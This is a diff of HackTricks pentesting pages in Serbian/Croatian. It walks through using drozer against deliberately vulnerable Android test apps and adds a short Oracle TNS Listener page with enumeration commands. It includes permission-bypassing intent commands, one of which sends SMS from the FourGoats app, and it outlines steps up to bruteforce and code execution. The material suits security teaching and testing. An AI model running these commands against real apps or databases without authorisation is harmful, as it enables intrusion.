Preuzmite i instalirajte drozer APK sa [najnovijim izdanjima](https://github.com/mwrlabs/drozer/releases). Trenutno je to [ovo](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb install drozer.apk
|
adb install drozer.apk
|
||||||
```
|
```
|
||||||
|
|
||||||
### Pokretanje servera
|
### Pokretanje servera
|
||||||
|
|
||||||
Agent radi na portu 31415, potrebno je [prosleđivanje porta](https://en.wikipedia.org/wiki/Port\_forwarding) kako bi se uspostavila komunikacija između Drozer klijenta i agenta, evo komande za to:
|
Agent radi na portu 31415, potrebno je [prosleđivanje porta](https://en.wikipedia.org/wiki/Port\_forwarding) kako bi se uspostavila komunikacija između Drozer klijenta i agenta, evo komande za to:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb forward tcp:31415 tcp:31415
|
adb forward tcp:31415 tcp:31415
|
||||||
```
|
```
|
||||||
|
|
||||||
Na kraju, **pokrenite** **aplikaciju** i pritisnite dugme "**ON**"
|
Na kraju, **pokrenite** **aplikaciju** i pritisnite dugme "**ON**"
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (63).png>)
|
![](<../../../.gitbook/assets/image (63).png>)
|
||||||
|
|
||||||
I povežite se sa njom:
|
I povežite se sa njom:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
drozer console connect
|
drozer console connect
|
||||||
```
|
```
|
||||||
|
|
||||||
## Interesantne Komande
|
## Interesantne Komande
|
||||||
|
|
||||||
| **Komande** | **Opis** |
|
| **Komande** | **Opis** |
|
||||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| **Help MODULE** | Prikazuje pomoć za odabrani modul |
|
| **Help MODULE** | Prikazuje pomoć za odabrani modul |
|
||||||
| **list** | Prikazuje listu svih drozer modula koji mogu biti izvršeni u trenutnoj sesiji. Ovo sakriva module za koje nemate odgovarajuće dozvole za izvršavanje. |
|
| **list** | Prikazuje listu svih drozer modula koji mogu biti izvršeni u trenutnoj sesiji. Ovo sakriva module za koje nemate odgovarajuće dozvole za izvršavanje. |
|
||||||
| **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agent-a. |
|
| **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agent-a. |
|
||||||
| **clean** | Uklanja privremene datoteke koje drozer čuva na Android uređaju. |
|
| **clean** | Uklanja privremene datoteke koje drozer čuva na Android uređaju. |
|
||||||
| **load** | Učitava datoteku koja sadrži drozer komande i izvršava ih redom. |
|
| **load** | Učitava datoteku koja sadrži drozer komande i izvršava ih redom. |
|
||||||
| **module** | Pronalazi i instalira dodatne drozer module sa interneta. |
|
| **module** | Pronalazi i instalira dodatne drozer module sa interneta. |
|
||||||
| **unset** | Uklanja nazvanu varijablu koju drozer prosleđuje svim Linux ljuskama koje pokreće. |
|
| **unset** | Uklanja nazvanu varijablu koju drozer prosleđuje svim Linux ljuskama koje pokreće. |
|
||||||
| **set** | Čuva vrednost u varijabli koja će biti prosleđena kao okružna varijabla svim Linux ljuskama koje drozer pokreće. |
|
| **set** | Čuva vrednost u varijabli koja će biti prosleđena kao okružna varijabla svim Linux ljuskama koje drozer pokreće. |
|
||||||
| **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agent-a. |
|
| **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agent-a. |
|
||||||
| **run MODULE** | Izvršava drozer modul |
|
| **run MODULE** | Izvršava drozer modul |
|
||||||
| **exploit** | Drozer može kreirati eksploate za izvršavanje na uređaju. `drozer exploit list` |
|
| **exploit** | Drozer može kreirati eksploate za izvršavanje na uređaju. `drozer exploit list` |
|
||||||
| **payload** | Eksploati zahtevaju payload. `drozer payload list` |
|
| **payload** | Eksploati zahtevaju payload. `drozer payload list` |
|
||||||
|
|
||||||
### Paket
|
### Paket
|
||||||
|
|
||||||
Pronađi **ime** paketa filtrirajući po delu imena:
|
Pronađi **ime** paketa filtrirajući po delu imena:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dz> run app.package.list -f sieve
|
dz> run app.package.list -f sieve
|
||||||
com.mwr.example.sieve
|
com.mwr.example.sieve
|
||||||
```
|
```
|
||||||
|
|
||||||
**Osnovne informacije** o paketu:
|
**Osnovne informacije** o paketu:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dz> run app.package.info -a com.mwr.example.sieve
|
dz> run app.package.info -a com.mwr.example.sieve
|
||||||
Package: com.mwr.example.sieve
|
Package: com.mwr.example.sieve
|
||||||
|
@ -98,11 +108,15 @@ Defines Permissions:
|
||||||
- com.mwr.example.sieve.READ_KEYS
|
- com.mwr.example.sieve.READ_KEYS
|
||||||
- com.mwr.example.sieve.WRITE_KEYS
|
- com.mwr.example.sieve.WRITE_KEYS
|
||||||
```
|
```
|
||||||
|
|
||||||
Pročitajte **Manifest**:
|
Pročitajte **Manifest**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run app.package.manifest jakhar.aseem.diva
|
run app.package.manifest jakhar.aseem.diva
|
||||||
```
|
```
|
||||||
|
|
||||||
**Napadna površina** paketa:
|
**Napadna površina** paketa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||||
Attack Surface:
|
Attack Surface:
|
||||||
|
@ -112,6 +126,7 @@ Attack Surface:
|
||||||
2 services exported
|
2 services exported
|
||||||
is debuggable
|
is debuggable
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Aktivnosti**: Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete.
|
* **Aktivnosti**: Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete.
|
||||||
* **Provajderi sadržaja**: Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Path Traversal).
|
* **Provajderi sadržaja**: Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Path Traversal).
|
||||||
* **Servisi**:
|
* **Servisi**:
|
||||||
|
@ -120,10 +135,12 @@ is debuggable
|
||||||
### Aktivnosti
|
### Aktivnosti
|
||||||
|
|
||||||
Vrednost "android:exported" izvoznog komponenta aktivnosti je postavljena na **"true"** u AndroidManifest.xml fajlu:
|
Vrednost "android:exported" izvoznog komponenta aktivnosti je postavljena na **"true"** u AndroidManifest.xml fajlu:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
|
|
||||||
**Lista izvezenih aktivnosti**:
|
**Lista izvezenih aktivnosti**:
|
||||||
|
|
||||||
Da biste dobili popis izvezenih aktivnosti u Android aplikaciji, možete koristiti drozer alat. Drozer je moćan alat za testiranje penetracije koji omogućava analizu i manipulaciju Android aplikacija.
|
Da biste dobili popis izvezenih aktivnosti u Android aplikaciji, možete koristiti drozer alat. Drozer je moćan alat za testiranje penetracije koji omogućava analizu i manipulaciju Android aplikacija.
|
||||||
|
@ -132,17 +149,17 @@ Evo koraka koje možete slijediti da biste dobili popis izvezenih aktivnosti:
|
||||||
|
|
||||||
1. Prvo, instalirajte drozer na svoj uređaj ili računalo.
|
1. Prvo, instalirajte drozer na svoj uređaj ili računalo.
|
||||||
2. Pokrenite drozer i povežite se s ciljnom Android aplikacijom.
|
2. Pokrenite drozer i povežite se s ciljnom Android aplikacijom.
|
||||||
3. Nakon uspostavljanja veze, izvršite sljedeću naredbu:
|
3. Nakon uspostavljanja veze, izvršite sljedeću naredbu:
|
||||||
|
|
||||||
```
|
```
|
||||||
run app.package.export <ime_paketa>
|
run app.package.export <ime_paketa>
|
||||||
```
|
```
|
||||||
|
|
||||||
Zamijenite `<ime_paketa>` s imenom paketa ciljne aplikacije.
|
|
||||||
|
|
||||||
|
Zamijenite `<ime_paketa>` s imenom paketa ciljne aplikacije.
|
||||||
4. Drozer će izvesti popis aktivnosti koje su dostupne u ciljnoj aplikaciji.
|
4. Drozer će izvesti popis aktivnosti koje su dostupne u ciljnoj aplikaciji.
|
||||||
|
|
||||||
Ovaj postupak omogućuje vam da identificirate izveze aktivnosti u Android aplikaciji, što može biti korisno za daljnje testiranje penetracije ili analizu sigurnosti.
|
Ovaj postupak omogućuje vam da identificirate izveze aktivnosti u Android aplikaciji, što može biti korisno za daljnje testiranje penetracije ili analizu sigurnosti.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dz> run app.activity.info -a com.mwr.example.sieve
|
dz> run app.activity.info -a com.mwr.example.sieve
|
||||||
Package: com.mwr.example.sieve
|
Package: com.mwr.example.sieve
|
||||||
|
@ -150,6 +167,7 @@ com.mwr.example.sieve.FileSelectActivity
|
||||||
com.mwr.example.sieve.MainLoginActivity
|
com.mwr.example.sieve.MainLoginActivity
|
||||||
com.mwr.example.sieve.PWList
|
com.mwr.example.sieve.PWList
|
||||||
```
|
```
|
||||||
|
|
||||||
**Pokretanje aktivnosti**:
|
**Pokretanje aktivnosti**:
|
||||||
|
|
||||||
Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete.
|
Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete.
|
||||||
|
@ -164,9 +182,11 @@ Takođe možete pokrenuti izveštenu aktivnost putem **adb**:
|
||||||
|
|
||||||
* PackageName je com.example.demo
|
* PackageName je com.example.demo
|
||||||
* Izveštenu ActivityName je com.example.test.MainActivity
|
* Izveštenu ActivityName je com.example.test.MainActivity
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||||
```
|
```
|
||||||
|
|
||||||
### Provajderi sadržaja
|
### Provajderi sadržaja
|
||||||
|
|
||||||
Ovaj post je bio toliko veliki da **možete** [**pristupiti njemu na zasebnoj stranici ovde**](exploiting-content-providers.md).
|
Ovaj post je bio toliko veliki da **možete** [**pristupiti njemu na zasebnoj stranici ovde**](exploiting-content-providers.md).
|
||||||
|
@ -186,6 +206,7 @@ Unutar koda **proverite** funkciju \*\*`handleMessage`\*\* koja će **primiti**
|
||||||
![](<../../../.gitbook/assets/image (194).png>)
|
![](<../../../.gitbook/assets/image (194).png>)
|
||||||
|
|
||||||
#### Lista servisa
|
#### Lista servisa
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dz> run app.service.info -a com.mwr.example.sieve
|
dz> run app.service.info -a com.mwr.example.sieve
|
||||||
Package: com.mwr.example.sieve
|
Package: com.mwr.example.sieve
|
||||||
|
@ -194,6 +215,7 @@ Permission: null
|
||||||
com.mwr.example.sieve.CryptoService
|
com.mwr.example.sieve.CryptoService
|
||||||
Permission: null
|
Permission: null
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Komunicirajte** sa uslugom
|
#### **Komunicirajte** sa uslugom
|
||||||
|
|
||||||
To interact with a service, you can use the `run` command in drozer. This command allows you to execute various modules and interact with the target application.
|
To interact with a service, you can use the `run` command in drozer. This command allows you to execute various modules and interact with the target application.
|
||||||
|
@ -217,11 +239,13 @@ Replace `<module_name>` with the name of the module you want to execute, and `<p
|
||||||
After executing a module, drozer will display the output on the screen. You can use this output to gather information about the target application and identify potential vulnerabilities.
|
After executing a module, drozer will display the output on the screen. You can use this output to gather information about the target application and identify potential vulnerabilities.
|
||||||
|
|
||||||
Remember to always use drozer responsibly and with proper authorization. Unauthorized access to systems or applications is illegal and unethical.
|
Remember to always use drozer responsibly and with proper authorization. Unauthorized access to systems or applications is illegal and unethical.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
app.service.send Send a Message to a service, and display the reply
|
app.service.send Send a Message to a service, and display the reply
|
||||||
app.service.start Start Service
|
app.service.start Start Service
|
||||||
app.service.stop Stop Service
|
app.service.stop Stop Service
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Primer
|
#### Primer
|
||||||
|
|
||||||
Pogledajte **drozer** pomoć za `app.service.send`:
|
Pogledajte **drozer** pomoć za `app.service.send`:
|
||||||
|
@ -237,9 +261,11 @@ U sledećem primeru:
|
||||||
* `arg1 == 9234`
|
* `arg1 == 9234`
|
||||||
* `arg2 == 1`
|
* `arg2 == 1`
|
||||||
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||||||
```
|
```
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (195).png>)
|
![](<../../../.gitbook/assets/image (195).png>)
|
||||||
|
|
||||||
### Emiteri poruka
|
### Emiteri poruka
|
||||||
|
@ -249,24 +275,23 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||||
Nakon otkrivanja ovih Emittera poruka, trebali biste **proveriti kod** koji se odnosi na njih. Posebno obratite pažnju na funkciju **`onReceive`**, jer će ona obrađivati primljene poruke.
|
Nakon otkrivanja ovih Emittera poruka, trebali biste **proveriti kod** koji se odnosi na njih. Posebno obratite pažnju na funkciju **`onReceive`**, jer će ona obrađivati primljene poruke.
|
||||||
|
|
||||||
#### **Otkrivanje svih** emitera poruka
|
#### **Otkrivanje svih** emitera poruka
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run app.broadcast.info #Detects all
|
run app.broadcast.info #Detects all
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Proverite prijemnike emitovanja aplikacije
|
#### Proverite prijemnike emitovanja aplikacije
|
||||||
|
|
||||||
Da biste pronašli prijemnike emitovanja (broadcast receivers) u Android aplikaciji, možete koristiti alat drozer. Drozer je moćan alat za testiranje bezbednosti Android aplikacija.
|
Da biste pronašli prijemnike emitovanja (broadcast receivers) u Android aplikaciji, možete koristiti alat drozer. Drozer je moćan alat za testiranje bezbednosti Android aplikacija.
|
||||||
|
|
||||||
1. Prvo, instalirajte drozer na svoj uređaj. Možete ga preuzeti sa [ovog linka](https://github.com/FSecureLABS/drozer).
|
1. Prvo, instalirajte drozer na svoj uređaj. Možete ga preuzeti sa [ovog linka](https://github.com/FSecureLABS/drozer).
|
||||||
|
|
||||||
2. Nakon instalacije, pokrenite drozer na svom uređaju.
|
2. Nakon instalacije, pokrenite drozer na svom uređaju.
|
||||||
|
|
||||||
3. Povežite se sa uređajem koristeći drozer konzolu komandom `drozer console connect`.
|
3. Povežite se sa uređajem koristeći drozer konzolu komandom `drozer console connect`.
|
||||||
|
|
||||||
4. Kada se uspešno povežete, unesite komandu `run app.package.broadcast` da biste prikazali sve prijemnike emitovanja aplikacije.
|
4. Kada se uspešno povežete, unesite komandu `run app.package.broadcast` da biste prikazali sve prijemnike emitovanja aplikacije.
|
||||||
|
|
||||||
5. Prikazani će biti svi prijemnici emitovanja zajedno sa njihovim nazivima i informacijama o paketu.
|
5. Prikazani će biti svi prijemnici emitovanja zajedno sa njihovim nazivima i informacijama o paketu.
|
||||||
|
|
||||||
Ovaj postupak će vam omogućiti da identifikujete prijemnike emitovanja u Android aplikaciji i analizirate njihovu funkcionalnost i bezbednost.
|
Ovaj postupak će vam omogućiti da identifikujete prijemnike emitovanja u Android aplikaciji i analizirate njihovu funkcionalnost i bezbednost.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Check one negative
|
#Check one negative
|
||||||
run app.broadcast.info -a jakhar.aseem.diva
|
run app.broadcast.info -a jakhar.aseem.diva
|
||||||
|
@ -287,12 +312,15 @@ Permission: null
|
||||||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||||||
Permission: null
|
Permission: null
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Emitovanje **Interakcija**
|
#### Emitovanje **Interakcija**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
app.broadcast.info Get information about broadcast receivers
|
app.broadcast.info Get information about broadcast receivers
|
||||||
app.broadcast.send Send broadcast using an intent
|
app.broadcast.send Send broadcast using an intent
|
||||||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Pošalji poruku
|
#### Pošalji poruku
|
||||||
|
|
||||||
U ovom primeru zloupotrebe [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider-a, možete **poslati proizvoljnu SMS poruku** na bilo koju destinaciju koja nije premium, **bez traženja** dozvole od korisnika.
|
U ovom primeru zloupotrebe [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider-a, možete **poslati proizvoljnu SMS poruku** na bilo koju destinaciju koja nije premium, **bez traženja** dozvole od korisnika.
|
||||||
|
@ -302,26 +330,32 @@ U ovom primeru zloupotrebe [FourGoats apk](https://github.com/linkedin/qark/blob
|
||||||
![](<../../../.gitbook/assets/image (197) (1).png>)
|
![](<../../../.gitbook/assets/image (197) (1).png>)
|
||||||
|
|
||||||
Ako pročitate kod, parametri "_phoneNumber_" i "_message_" moraju biti poslati Content Provider-u.
|
Ako pročitate kod, parametri "_phoneNumber_" i "_message_" moraju biti poslati Content Provider-u.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Može se debagovati
|
### Može se debagovati
|
||||||
|
|
||||||
Proizvodni APK nikada ne bi trebao biti debagovatljiv.\
|
Proizvodni APK nikada ne bi trebao biti debagovatljiv.\
|
||||||
To znači da možete **povezati Java debager** sa pokrenutom aplikacijom, pregledati je u vreme izvršavanja, postaviti prekide, korak po korak i prikupljati vrednosti promenljivih, pa čak i ih menjati. [InfoSec institut ima odličan članak](../exploiting-a-debuggeable-application.md) o dubljem ispitivanju kada je vaša aplikacija debagovatljiva i ubacivanju koda u vreme izvršavanja.
|
To znači da možete **povezati Java debager** sa pokrenutom aplikacijom, pregledati je u vreme izvršavanja, postaviti prekide, korak po korak i prikupljati vrednosti promenljivih, pa čak i ih menjati. [InfoSec institut ima odličan članak](https://github.com/carlospolop/hacktricks/blob/rs/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-application.md) o dubljem ispitivanju kada je vaša aplikacija debagovatljiva i ubacivanju koda u vreme izvršavanja.
|
||||||
|
|
||||||
Kada je aplikacija debagovatljiva, pojaviće se u Manifestu:
|
Kada je aplikacija debagovatljiva, pojaviće se u Manifestu:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<application theme="@2131296387" debuggable="true"
|
<application theme="@2131296387" debuggable="true"
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete pronaći sve aplikacije koje se mogu debagovati pomoću **Drozera**:
|
Možete pronaći sve aplikacije koje se mogu debagovati pomoću **Drozera**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run app.package.debuggable
|
run app.package.debuggable
|
||||||
```
|
```
|
||||||
|
|
||||||
## Tutorijali
|
## Tutorijali
|
||||||
|
|
||||||
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||||||
* [https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
* [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||||||
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
||||||
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
||||||
|
|
||||||
|
@ -344,7 +378,7 @@ Drugi načini da podržite HackTricks:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -0,0 +1,89 @@
|
||||||
|
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Osnovne informacije
|
||||||
|
|
||||||
|
Oracle baza podataka (Oracle DB) je sistem za upravljanje relacionim bazama podataka (RDBMS) kompanije Oracle (od [ovde](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||||
|
|
||||||
|
Kada se vrši enumeracija Oracle baze podataka, prvi korak je komunikacija sa TNS-Listenerom koji se obično nalazi na podrazumevanom portu (1521/TCP, -takođe možete dobiti i sekundarne listenere na 1522–1529-).
|
||||||
|
|
||||||
|
```
|
||||||
|
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||||
|
1748/tcp open oracle-tns Oracle TNS Listener
|
||||||
|
```
|
||||||
|
|
||||||
|
## Sažetak
|
||||||
|
|
||||||
|
1. **Enumeracija verzije**: Identifikujte informacije o verziji kako biste pretražili poznate ranjivosti.
|
||||||
|
2. **Bruteforce TNS Listenera**: Ponekad je potrebno uspostaviti komunikaciju.
|
||||||
|
3. **Enumeracija/Bruteforce SID imena**: Otkrijte nazive baza podataka (SID).
|
||||||
|
4. **Bruteforce pristupnih podataka**: Pokušajte pristupiti otkrivenom SID-u.
|
||||||
|
5. **Izvršavanje koda**: Pokušajte pokrenuti kod na sistemu.
|
||||||
|
|
||||||
|
Da biste koristili MSF Oracle module, morate instalirati neke zavisnosti: [**Instalacija**](https://github.com/carlospolop/hacktricks/blob/rs/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||||
|
|
||||||
|
## Postovi
|
||||||
|
|
||||||
|
Proverite ove postove:
|
||||||
|
|
||||||
|
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||||
|
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||||
|
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||||
|
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||||
|
|
||||||
|
## HackTricks Automatske Komande
|
||||||
|
|
||||||
|
```
|
||||||
|
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||||
|
Port_Number: 1521 #Comma separated if there is more than one.
|
||||||
|
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||||
|
|
||||||
|
Entry_1:
|
||||||
|
Name: Notes
|
||||||
|
Description: Notes for Oracle
|
||||||
|
Note: |
|
||||||
|
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||||
|
|
||||||
|
#great oracle enumeration tool
|
||||||
|
navigate to https://github.com/quentinhardy/odat/releases/
|
||||||
|
download the latest
|
||||||
|
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||||
|
cd odat-libc2.12-x86_64/
|
||||||
|
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||||
|
|
||||||
|
for more details check https://github.com/quentinhardy/odat/wiki
|
||||||
|
|
||||||
|
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||||
|
|
||||||
|
Entry_2:
|
||||||
|
Name: Nmap
|
||||||
|
Description: Nmap with Oracle Scripts
|
||||||
|
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||||
|
```
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
